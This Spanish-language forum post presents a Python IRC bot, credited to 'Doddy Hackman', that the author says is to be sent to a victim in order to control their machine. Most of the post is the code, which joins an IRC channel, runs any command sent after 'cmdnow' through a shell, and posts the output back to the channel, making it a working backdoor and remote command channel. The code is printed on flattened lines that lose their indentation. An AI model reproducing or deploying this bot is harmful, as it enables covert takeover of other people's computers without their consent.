Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC
El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es
Código:
cmdnow TUCOMANDO
Código
#!usr/bin/python #Insane Bot (C) Doddy Hackman 2011 #Version beta 0.00001 import re,socket import subprocess host = "127.0.0.1" canal = "#locos" nick = "bot" irc = socket.socket() try: irc.connect((host,6667)) irc.send("NICK "+nick+"\r\n") irc.send("USER "+nick+" 1 1 1 1\r\n") irc.send("JOIN "+canal+"\r\n") print "[+] Insane Bot Online\n" while 1: code = irc.recv(9999) if re.findall("PING",code): irc.send("PONG "+code.split()[1]+"\r\n") if re.findall("PRIVMSG",code): nick = code.split("!") nick = nick[0].replace(":","") msg = code.split(":")[2:][0] if re.findall("cmdnow",code): cmd = code.split("cmdnow")[1] irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n") rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE) if rea: re1 = rea.stdout.read() total = re1.replace("\n","|") irc.send("PRIVMSG "+canal+" : "+total+"\n") else: re2 = rea.stderr.read() total = re2.replace("\n","|") irc.send("PRIVMSG "+canal+" : "+total+"\n") except: print "\n\n[-] Error\n\n" # The End